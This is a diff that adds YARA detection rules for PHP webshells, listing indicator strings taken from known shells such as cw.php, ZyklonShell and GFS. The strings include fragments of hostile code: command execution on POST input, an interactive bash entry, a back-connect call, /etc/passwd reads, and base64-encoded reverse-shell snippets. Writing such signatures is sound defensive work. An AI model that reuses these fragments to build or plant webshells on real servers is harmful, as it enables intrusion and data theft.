+		$s20 = "$dono = get_current_user( );" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_webshells_cw {
+	meta:
+		description = "PHP Webshells Github Archive - file cw.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "e65e0670ef6edf0a3581be6fe5ddeeffd22014bf"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s1 = "// Dump Database [pacucci.com]" fullword
+		$s2 = "$dump = \"-- Database: \".$_POST['db'] .\" \\n\";" fullword
+		$s7 = "$aids = passthru(\"perl cbs.pl \".$_POST['connhost'].\" \".$_POST['connport']);" fullword
+		$s8 = "<b>IP:</b> <u>\" . $_SERVER['REMOTE_ADDR'] .\"</u> - Server IP:</b> <a href='htt"
+		$s14 = "$dump .= \"-- Cyber-Warrior.Org\\n\";" fullword
+		$s20 = "if(isset($_POST['doedit']) && $_POST['editfile'] != $dir)" fullword
+	condition:
+		3 of them
+}
+rule WebShell_php_include_w_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file php-include-w-shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1a7f4868691410830ad954360950e37c582b0292"
+		id = "a80ca446-6612-51b4-99a7-8a8d8e6ee196"
+	strings:
+		$s13 = "# dump variables (DEBUG SCRIPT) NEEDS MODIFINY FOR B64 STATUS!!" fullword
+		$s17 = "\"phpshellapp\" => \"export TERM=xterm; bash -i\"," fullword
+		$s19 = "else if($numhosts == 1) $strOutput .= \"On 1 host..\\n\";" fullword
+	condition:
+		1 of them
+}
+rule WebShell_mysql_tool {
+	meta:
+		description = "PHP Webshells Github Archive - file mysql_tool.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c9cf8cafcd4e65d1b57fdee5eef98f0f2de74474"
+		id = "a22a0a5c-a686-517e-b1f9-279edab0616b"
+	strings:
+		$s12 = "$dump .= \"-- Dumping data for table '$table'\\n\";" fullword
+		$s20 = "$dump .= \"CREATE TABLE $table (\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell_PhpSpy_Ver_2006 {
+	meta:
+		description = "PHP Webshells Github Archive - file PhpSpy Ver 2006.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "34a89e0ab896c3518d9a474b71ee636ca595625d"
+		id = "adbb1963-31c8-5540-a679-c75b1101c163"
+	strings:
+		$s2 = "var_dump(@$shell->RegRead($_POST['readregname']));" fullword
+		$s12 = "$prog = isset($_POST['prog']) ? $_POST['prog'] : \"/c net start > \".$pathname."
+		$s19 = "$program = isset($_POST['program']) ? $_POST['program'] : \"c:\\winnt\\system32"
+		$s20 = "$regval = isset($_POST['regval']) ? $_POST['regval'] : 'c:\\winnt\\backdoor.exe'"
+	condition:
+		1 of them
+}
+rule WebShell_ZyklonShell {
+	meta:
+		description = "PHP Webshells Github Archive - file ZyklonShell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3fa7e6f3566427196ac47551392e2386a038d61c"
+		id = "4d7ff3e5-4940-52c8-b045-5db1523f70c2"
+	strings:
+		$s0 = "The requested URL /Nemo/shell/zyklonshell.txt was not found on this server.<P>" fullword
+		$s1 = "<!DOCTYPE HTML PUBLIC \"-//IETF//DTD HTML 2.0//EN\">" fullword
+		$s2 = "<TITLE>404 Not Found</TITLE>" fullword
+		$s3 = "<H1>Not Found</H1>" fullword
+	condition:
+		all of them
+}
+rule WebShell_php_webshells_myshell_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file myshell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		old_rule_name = "WebShell_php_webshells_myshell"
+		hash = "5bd52749872d1083e7be076a5e65ffcde210e524"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "if($ok==false &&$status && $autoErrorTrap)system($command . \" 1> /tmp/outpu"
+		$s5 = "system($command . \" 1> /tmp/output.txt 2>&1; cat /tmp/output.txt; rm /tmp/o"
+		$s15 = "<title>$MyShellVersion - Access Denied</title>" fullword
+		$s16 = "}$ra44  = rand(1,99999);$sj98 = \"sh-$ra44\";$ml = \"$sd98\";$a5 = $_SERVER['HTT"
+	condition:
+		1 of them
+}
+rule WebShell_php_webshells_lolipop {
+	meta:
+		description = "PHP Webshells Github Archive - file lolipop.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "86f23baabb90c93465e6851e40104ded5a5164cb"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s3 = "$commander = $_POST['commander']; " fullword
+		$s9 = "$sourcego = $_POST['sourcego']; " fullword
+		$s20 = "$result = mysql_query($loli12) or die (mysql_error()); " fullword
+	condition:
+		all of them
+}
+rule WebShell_simple_cmd {
+	meta:
+		description = "PHP Webshells Github Archive - file simple_cmd.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "466a8caf03cdebe07aa16ad490e54744f82e32c2"
+		id = "1fd0c01a-c265-5e30-ab36-e8e93e316fbe"
+	strings:
+		$s1 = "<input type=TEXT name=\"-cmd\" size=64 value=\"<?=$cmd?>\" " fullword
+		$s2 = "<title>G-Security Webshell</title>" fullword
+		$s4 = "<? if($cmd != \"\") print Shell_Exec($cmd);?>" fullword
+		$s6 = "<? $cmd = $_REQUEST[\"-cmd\"];?>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_go_shell {
+	meta:
+		description = "PHP Webshells Github Archive - file go-shell.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "3dd85981bec33de42c04c53d081c230b5fc0e94f"
+		id = "63eaf530-050a-5db7-8885-d4a1e86d62de"
+	strings:
+		$s0 = "#change this password; for power security - delete this file =)" fullword
+		$s2 = "if (!defined$param{cmd}){$param{cmd}=\"ls -la\"};" fullword
+		$s11 = "open(FILEHANDLE, \"cd $param{dir}&&$param{cmd}|\");" fullword
+		$s12 = "print << \"[kalabanga]\";" fullword
+		$s13 = "<title>GO.cgi</title>" fullword
+	condition:
+		1 of them
+}
+rule WebShell_aZRaiLPhp_v1_0_2 {
+	meta:
+		description = "PHP Webshells Github Archive - file aZRaiLPhp v1.0.php"
+		old_rule_name = "WebShell_aZRaiLPhp_v1_0"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "a2c609d1a8c8ba3d706d1d70bef69e63f239782b"
+		id = "10546549-e16d-567d-9d88-3d37fe8ff03f"
+	strings:
+		$s0 = "<font size='+1'color='#0000FF'>aZRaiLPhP'nin URL'si: http://$HTTP_HOST$RED"
+		$s4 = "$fileperm=base_convert($_POST['fileperm'],8,10);" fullword
+		$s19 = "touch (\"$path/$dismi\") or die(\"Dosya Olu" fullword
+		$s20 = "echo \"<div align=left><a href='./$this_file?dir=$path/$file'>G" fullword
+	condition:
+		2 of them
+}
+rule WebShell_webshells_zehir4 {
+	meta:
+		description = "Webshells Github Archive - file zehir4"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "788928ae87551f286d189e163e55410acbb90a64"
+		score = 55
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "frames.byZehir.document.execCommand(command, false, option);" fullword
+		$s8 = "response.Write \"<title>ZehirIV --> Powered By Zehir &lt;zehirhacker@hotmail.com"
+	condition:
+		1 of them
+}
+rule WebShell_zehir4_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - file zehir4.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "1d9b78b5b14b821139541cc0deb4cbbd994ce157"
+		id = "7a849bc6-fff5-5bb6-aff7-660889fd077b"
+	strings:
+		$s4 = "response.Write \"<title>zehir3 --> powered by zehir &lt;zehirhacker@hotmail.com&"
+		$s11 = "frames.byZehir.document.execCommand("
+		$s15 = "frames.byZehir.document.execCommand(co"
+	condition:
+		2 of them
+}
+rule WebShell_php_webshells_lostDC {
+	meta:
+		description = "PHP Webshells Github Archive - file lostDC.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "d54fe07ea53a8929620c50e3a3f8fb69fdeb1cde"
+		id = "393e738a-b4c2-5630-a55f-c3caee4ff75e"
+	strings:
+		$s0 = "$info .= '[~]Server: ' .$_SERVER['HTTP_HOST'] .'<br />';" fullword
+		$s4 = "header ( \"Content-Description: Download manager\" );" fullword
+		$s5 = "print \"<center>[ Generation time: \".round(getTime()-startTime,4).\" second"
+		$s9 = "if (mkdir($_POST['dir'], 0777) == false) {" fullword
+		$s12 = "$ret = shellexec($command);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_CasuS_1_5 {
+	meta:
+		description = "PHP Webshells Github Archive - file CasuS 1.5.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "7eee8882ad9b940407acc0146db018c302696341"
+		id = "cf89d8f8-d498-57fe-98eb-a98350db182f"
+	strings:
+		$s2 = "<font size='+1'color='#0000FF'><u>CasuS 1.5'in URL'si</u>: http://$HTTP_HO"
+		$s8 = "$fonk_kap = get_cfg_var(\"fonksiyonlary_kapat\");" fullword
+		$s18 = "if (file_exists(\"F:\\\\\")){" fullword
+	condition:
+		1 of them
+}
+rule WebShell_ftpsearch {
+	meta:
+		description = "PHP Webshells Github Archive - file ftpsearch.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		hash = "c945f597552ccb8c0309ad6d2831c8cabdf4e2d6"
+		id = "9db8f00a-1843-5057-b8c7-a7f7b63e0659"
+	strings:
+		$s0 = "echo \"[-] Error : coudn't read /etc/passwd\";" fullword
+		$s9 = "@$ftp=ftp_connect('127.0.0.1');" fullword
+		$s12 = "echo \"<title>Edited By KingDefacer</title><body>\";" fullword
+		$s19 = "echo \"[+] Founded \".sizeof($users).\" entrys in /etc/passwd\\n\";" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Cyber_Shell_cybershell_Cyber_Shell__v_1_0_ {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+		id = "79146f25-87b9-5216-af88-4e433bb08b90"
+	strings:
+		$s4 = " <a href=\"http://www.cyberlords.net\" target=\"_blank\">Cyber Lords Community</"
+		$s10 = "echo \"<meta http-equiv=Refresh content=\\\"0; url=$PHP_SELF?edit=$nameoffile&sh"
+		$s11 = " *   Coded by Pixcher" fullword
+		$s16 = "<input type=text size=55 name=newfile value=\"$d/newfile.php\">" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Ajax_PHP_Command_Shell_Ajax_PHP_Command_Shell_soldierofallah {
+	meta:
+		description = "PHP Webshells Github Archive - from files Ajax_PHP Command Shell.php, Ajax_PHP_Command_Shell.php, soldierofallah.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "fa11deaee821ca3de7ad1caafa2a585ee1bc8d82"
+		hash1 = "c0a4ba3e834fb63e0a220a43caaf55c654f97429"
+		hash2 = "16fa789b20409c1f2ffec74484a30d0491904064"
+		id = "a158d158-d48d-514c-8b7b-4b6a4a10d021"
+	strings:
+		$s1 = "'Read /etc/passwd' => \"runcommand('etcpasswdfile','GET')\"," fullword
+		$s2 = "'Running processes' => \"runcommand('ps -aux','GET')\"," fullword
+		$s3 = "$dt = $_POST['filecontent'];" fullword
+		$s4 = "'Open ports' => \"runcommand('netstat -an | grep -i listen','GET')\"," fullword
+		$s6 = "print \"Sorry, none of the command functions works.\";" fullword
+		$s11 = "document.cmdform.command.value='';" fullword
+		$s12 = "elseif(isset($_GET['savefile']) && !empty($_POST['filetosave']) && !empty($_POST"
+	condition:
+		3 of them
+}
+rule WebShell_Generic_PHP_7 {
+	meta:
+		description = "PHP Webshells Github Archive"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "de98f890790756f226f597489844eb3e53a867a9"
+		hash1 = "128988c8ef5294d51c908690d27f69dffad4e42e"
+		hash2 = "fd64f2bf77df8bcf4d161ec125fa5c3695fe1267"
+		hash3 = "715f17e286416724e90113feab914c707a26d456"
+		id = "506373d6-31b4-5a14-b009-f2b43028a98b"
+	strings:
+		$s0 = "header(\"Content-disposition: filename=$filename.sql\");" fullword
+		$s1 = "else if( $action == \"dumpTable\" || $action == \"dumpDB\" ) {" fullword
+		$s2 = "echo \"<font color=blue>[$USERNAME]</font> - \\n\";" fullword
+		$s4 = "if( $action == \"dumpTable\" )" fullword
+	condition:
+		2 of them
+}
+rule WebShell__Small_Web_Shell_by_ZaCo_small_zaco_zacosmall {
+	meta:
+		description = "PHP Webshells Github Archive - from files Small Web Shell by ZaCo.php, small.php, zaco.php, zacosmall.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "b148ead15d34a55771894424ace2a92983351dda"
+		hash1 = "e4ba288f6d46dc77b403adf7d411a280601c635b"
+		hash2 = "e5713d6d231c844011e9a74175a77e8eb835c856"
+		hash3 = "1b836517164c18caf2c92ee2a06c645e26936a0c"
+		id = "99dbcea6-7208-5bbe-b200-9ea3074d7855"
+	strings:
+		$s2 = "if(!$result2)$dump_file.='#error table '.$rows[0];" fullword
+		$s4 = "if(!(@mysql_select_db($db_dump,$mysql_link)))echo('DB error');" fullword
+		$s6 = "header('Content-Length: '.strlen($dump_file).\"\\n\");" fullword
+		$s20 = "echo('Dump for '.$db_dump.' now in '.$to_file);" fullword
+	condition:
+		2 of them
+}
+rule WebShell_Generic_PHP_8 {
+	meta:
+		description = "PHP Webshells Github Archive"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "fc1ae242b926d70e32cdb08bbe92628bc5bd7f99"
+		hash1 = "9ad55629c4576e5a31dd845012d13a08f1c1f14e"
+		hash2 = "c4aa2cf665c784553740c3702c3bfcb5d7af65a3"
+		id = "40c6f69f-9963-5e4f-af44-041d47738519"
+	strings:
+		$s1 = "elseif ( $cmd==\"file\" ) { /* <!-- View a file in text --> */" fullword
+		$s2 = "elseif ( $cmd==\"upload\" ) { /* <!-- Upload File form --> */ " fullword
+		$s3 = "/* I added this to ensure the script will run correctly..." fullword
+		$s14 = "<!--    </form>   -->" fullword
+		$s15 = "<form action=\\\"$SFileName?$urlAdd\\\" method=\\\"POST\\\">" fullword
+		$s20 = "elseif ( $cmd==\"downl\" ) { /*<!-- Save the edited file back to a file --> */" fullword
+	condition:
+		3 of them
+}
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv_klasvayv_asp_php {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php, klasvayv.asp.php.txt"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+		hash3 = "4f83bc2836601225a115b5ad54496428a507a361"
+		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
+	strings:
+		$s1 = "<font color=\"#000000\">Sil</font></a></font></td>" fullword
+		$s5 = "<td width=\"122\" height=\"17\" bgcolor=\"#9F9F9F\">" fullword
+		$s6 = "onfocus=\"if (this.value == 'Kullan" fullword
+		$s16 = "<img border=\"0\" src=\"http://www.aventgrup.net/arsiv/klasvayv/1.0/2.gif\">"
+	condition:
+		2 of them
+}
+
+rule WebShell_Generic_PHP_9 {
+   meta:
+      description = "PHP Webshells Github Archive - from files KAdot Universal Shell v0.1.6.php, KAdot_Universal_Shell_v0.1.6.php, KA_uShell 0.1.6.php"
+      author = "Florian Roth (Nextron Systems)"
+      super_rule = 1
+      date = "2014/04/06"
+      modified = "2022-12-06"
+      score = 70
+      reference = "Internal Research"
+      hash0 = "89f2a7007a2cd411e0a7abd2ff5218d212b84d18"
+      hash1 = "2266178ad4eb72c2386c0a4d536e5d82bb7ed6a2"
+      hash2 = "0daed818cac548324ad0c5905476deef9523ad73"
+      id = "98927127-08be-57ac-a090-38c7e614dae7"
+   strings:
+      $ = { 3a 3c 62 3e 22 20 2e 62 61 73 65 36 34 5f 64 65 63 6f 64 65 28 24 5f 50 4f 53 54 5b 27 74 6f 74 27 5d 29 2e 20 22 3c 2f 62 3e 22 3b }
+      $ = { 69 66 20 28 69 73 73 65 74 28 24 5f 50 4f 53 54 5b 27 77 71 27 5d 29 20 26 26 20 24 5f 50 4f 53 54 5b 27 77 71 27 5d 3c 3e 22 22 29 20 7b }
+      $ = { 70 61 73 73 74 68 72 75 28 24 5f 50 4f 53 54 5b 27 63 27 5d 29 3b }
+      $ = { 3c 69 6e 70 75 74 20 74 79 70 65 3d 22 72 61 64 69 6f 22 20 6e 61 6d 65 3d 22 74 61 63 22 20 76 61 6c 75 65 3d 22 31 22 3e 42 36 34 20 44 65 63 6f 64 65 3c 62 72 3e }
+   condition:
+      1 of them
+}
+
+rule WebShell__PH_Vayv_PHVayv_PH_Vayv {
+	meta:
+		description = "PHP Webshells Github Archive - from files PH Vayv.php, PHVayv.php, PH_Vayv.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "b51962a1ffa460ec793317571fc2f46042fd13ee"
+		hash1 = "408ac9ca3d435c0f78bda370b33e84ba25afc357"
+		hash2 = "4003ae289e3ae036755976f8d2407c9381ff5653"
+		id = "1575591b-3245-5c3d-b2a4-6def89e77032"
+	strings:
+		$s4 = "<form method=\"POST\" action=\"<?echo \"PHVayv.php?duzkaydet=$dizin/$duzenle"
+		$s12 = "<? if ($ekinci==\".\" or  $ekinci==\"..\") {" fullword
+		$s17 = "name=\"duzenx2\" value=\"Klas" fullword
+	condition:
+		2 of them
+}
+
+rule WebShell_Generic_PHP_1 {
+   meta:
+      description = "PHP Webshells Github Archive - from files Dive Shell 1.0"
+      author = "Florian Roth (Nextron Systems)"
+      super_rule = 1
+      score = 70
+      date = "2014/04/06"
+      modified = "2022-12-06"
+      hash0 = "3b086b9b53cf9d25ff0d30b1d41bb2f45c7cda2b"
+      hash1 = "2558e728184b8efcdb57cfab918d95b06d45de04"
+      hash2 = "203a8021192531d454efbc98a3bbb8cabe09c85c"
+      hash3 = "b79709eb7801a28d02919c41cc75ac695884db27"
+      id = "9a87038b-3f78-5b9a-a209-c9026d83363f"
+   strings:
+      $ = { 76 61 72 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3d 20 6e 65 77 20 41 72 72 61 79 28 3c 3f 70 68 70 20 65 63 68 6f 20 24 6a 73 5f 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 20 3f 3e 29 3b }
+      $ = { 69 66 20 28 65 6d 70 74 79 28 24 5f 53 45 53 53 49 4f 4e 5b 27 63 77 64 27 5d 29 20 7c 7c 20 21 65 6d 70 74 79 28 24 5f 52 45 51 55 45 53 54 5b 27 72 65 73 65 74 27 5d 29 29 20 7b }
+      $ = { 69 66 20 28 65 2e 6b 65 79 43 6f 64 65 20 3d 3d 20 33 38 20 26 26 20 63 75 72 72 65 6e 74 5f 6c 69 6e 65 20 3c 20 63 6f 6d 6d 61 6e 64 5f 68 69 73 74 2e 6c 65 6e 67 74 68 2d 31 29 20 7b }
+   condition:
+      1 of them
+}
+
+rule WebShell_Generic_PHP_2 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, Loaderz WEB Shell.php, stres.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash3 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+		id = "be335331-34d7-5abc-b29b-eac7a5ec3915"
+	strings:
+		$s3 = "if((isset($_POST['fileto']))||(isset($_POST['filefrom'])))" fullword
+		$s4 = "\\$port = {$_POST['port']};"
+		$s5 = "$_POST['installpath'] = \"temp.pl\";}" fullword
+		$s14 = "if(isset($_POST['post']) and $_POST['post'] == \"yes\" and @$HTTP_POST_FILES[\"u"
+		$s16 = "copy($HTTP_POST_FILES[\"userfile\"][\"tmp_name\"],$HTTP_POST_FILES[\"userfile\"]"
+	condition:
+		4 of them
+}
+rule WebShell__CrystalShell_v_1_erne_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, erne.php, stres.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "6eb4ab630bd25bec577b39fb8a657350bf425687"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+		id = "4e73e42e-b968-5b68-a00d-d2a8a1f3541c"
+	strings:
+		$s1 = "<input type='submit' value='  open (shill.txt) '>" fullword
+		$s4 = "var_dump(curl_exec($ch));" fullword
+		$s7 = "if(empty($_POST['Mohajer22'])){" fullword
+		$s10 = "$m=$_POST['curl'];" fullword
+		$s13 = "$u1p=$_POST['copy'];" fullword
+		$s14 = "if(empty(\\$_POST['cmd'])){" fullword
+		$s15 = "$string = explode(\"|\",$string);" fullword
+		$s16 = "$stream = imap_open(\"/etc/passwd\", \"\", \"\");" fullword
+	condition:
+		5 of them
+}
+rule WebShell_Generic_PHP_3 {
+	meta:
+		description = "PHP Webshells Github Archive"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "d829e87b3ce34460088c7775a60bded64e530cd4"
+		hash1 = "d710c95d9f18ec7c76d9349a28dd59c3605c02be"
+		hash2 = "f044d44e559af22a1a7f9db72de1206f392b8976"
+		hash3 = "41780a3e8c0dc3cbcaa7b4d3c066ae09fb74a289"
+		id = "ff7c6534-efcf-565e-bfc0-1eaa2e9d7b7d"
+	strings:
+		$s0 = "header('Content-Length:'.filesize($file).'');" fullword
+		$s4 = "<textarea name=\\\"command\\\" rows=\\\"5\\\" cols=\\\"150\\\">\".@$_POST['comma"
+		$s7 = "if(filetype($dir . $file)==\"file\")$files[]=$file;" fullword
+		$s14 = "elseif (($perms & 0x6000) == 0x6000) {$info = 'b';} " fullword
+		$s20 = "$info .= (($perms & 0x0004) ? 'r' : '-');" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_4 {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, load_shell.php, nshell.php, Loaderz WEB Shell.php, stres.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "ca9fcfb50645dc0712abdf18d613ed2196e66241"
+		hash2 = "86bc40772de71b1e7234d23cab355e1ff80c474d"
+		hash3 = "36d8782d749638fdcaeed540d183dd3c8edc6791"
+		hash4 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+		id = "2932cb85-927e-536b-b8d8-a0ac0d1ef8ec"
+	strings:
+		$s0 = "if ($filename != \".\" and $filename != \"..\"){" fullword
+		$s2 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-';" fullword
+		$s5 = "$owner[\"execute\"] = ($mode & 00100) ? 'x' : '-';" fullword
+		$s6 = "$world[\"write\"] = ($mode & 00002) ? 'w' : '-';" fullword
+		$s7 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-';" fullword
+		$s10 = "foreach ($arr as $filename) {" fullword
+		$s19 = "else if( $mode & 0x6000 ) { $type='b'; }" fullword
+	condition:
+		all of them
+}
+
+rule WebShell_GFS {
+	meta:
+		description = "PHP Webshells Github Archive - from files GFS web-shell ver 3.1.7 - PRiV8.php, Predator.php, GFS_web-shell_ver_3.1.7_-_PRiV8.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "c2f1ef6b11aaec255d4dd31efad18a3869a2a42c"
+		hash1 = "34f6640985b07009dbd06cd70983451aa4fe9822"
+		hash2 = "d25ef72bdae3b3cb0fc0fdd81cfa58b215812a50"
+		id = "bde6cfd8-466f-528a-b1e3-f874aa778010"
+	strings:
+		$s0 = "OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==\";" fullword
+		$s1 = "lIENPTk47DQpleGl0IDA7DQp9DQp9\";" fullword
+		$s2 = "Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShm"
+	condition:
+		all of them
+}
+rule WebShell__CrystalShell_v_1_sosyete_stres {
+	meta:
+		description = "PHP Webshells Github Archive - from files CrystalShell v.1.php, sosyete.php, stres.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "335a0851304acedc3f117782b61479bbc0fd655a"
+		hash1 = "e32405e776e87e45735c187c577d3a4f98a64059"
+		hash2 = "03f88f494654f2ad0361fb63e805b6bbfc0c86de"
+		id = "774f7f4c-724a-5eb0-b5de-44b389fd593d"
+	strings:
+		$s1 = "A:visited { COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s4 = "A:active {COLOR:blue; TEXT-DECORATION: none}" fullword
+		$s11 = "scrollbar-darkshadow-color: #101842;" fullword
+		$s15 = "<a bookmark=\"minipanel\">" fullword
+		$s16 = "background-color: #EBEAEA;" fullword
+		$s18 = "color: #D5ECF9;" fullword
+		$s19 = "<center><TABLE style=\"BORDER-COLLAPSE: collapse\" height=1 cellSpacing=0 border"
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_10 {
+	meta:
+		description = "PHP Webshells Github Archive - from files Cyber Shell.php, cybershell.php, Cyber Shell (v 1.0).php, PHPRemoteView.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "ef7f7c45d26614cea597f2f8e64a85d54630fe38"
+		hash1 = "cabf47b96e3b2c46248f075bdbc46197db28a25f"
+		hash2 = "9e165d4ed95e0501cd9a90155ac60546eb5b1076"
+		hash3 = "7d5b54c7cab6b82fb7d131d7bbb989fd53cb1b57"
+		id = "f52013d6-72ce-544c-a7ef-ae2a2ea87108"
+	strings:
+		$s2 = "$world[\"execute\"] = ($world['execute']=='x') ? 't' : 'T'; " fullword
+		$s6 = "$owner[\"write\"] = ($mode & 00200) ? 'w' : '-'; " fullword
+		$s11 = "$world[\"execute\"] = ($mode & 00001) ? 'x' : '-'; " fullword
+		$s12 = "else if( $mode & 0xA000 ) " fullword
+		$s17 = "$s=sprintf(\"%1s\", $type); " fullword
+		$s20 = "font-size: 8pt;" fullword
+	condition:
+		all of them
+}
+rule WebShell_Generic_PHP_11 {
+	meta:
+		description = "PHP Webshells Github Archive - from files rootshell.php, Rootshell.v.1.0.php, s72 Shell v1.1 Coding.php, s72_Shell_v1.1_Coding.php"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		author = "Florian Roth (Nextron Systems)"
+		super_rule = 1
+		hash0 = "31a82cbee8dffaf8eb7b73841f3f3e8e9b3e78cf"
